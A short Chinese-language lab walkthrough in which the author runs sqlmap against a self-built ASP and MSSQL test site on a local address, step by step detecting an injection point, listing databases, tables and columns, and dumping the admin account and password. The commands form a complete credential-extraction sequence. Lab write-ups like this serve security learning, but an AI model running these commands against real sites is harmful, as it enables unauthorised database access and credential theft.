今天搭建了一個asp+mssql數據庫的環境用于安全測試學習
1.判斷注入點及獲取網站信息:
sqlmap -u http://192.168.1.30/1/onews.asp?id=8

web server operating system: windows 2003 or XP
web Application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
2.獲取所有數據庫:
sqlmap -u http://192.168.1.30/1/onews.asp?id=8 --dbs

網站用的數據庫是這個sqlZR
3.獲取網站當前使用的數據庫:
sqlmap -u http://192.168.1.30/1/onews.asp?id=8 --current-db

4.獲取數據庫中的表名:
sqlmap -u http://192.168.1.30/1/onews.asp?id=8 -D sqlZR --tables

5.獲取數據表中的字段名:
sqlmap -u http://192.168.1.30/1/onews.asp?id=8 -D sqlZR -T Admin --columns

6.獲取字段中的內容
sqlmap -u http://192.168.1.30/1/onews.asp?id=8 -D sqlZR -T admin -C "admin,password" --dump

看到了吧,幾條命名就把管理員的賬號密碼給跑出來了。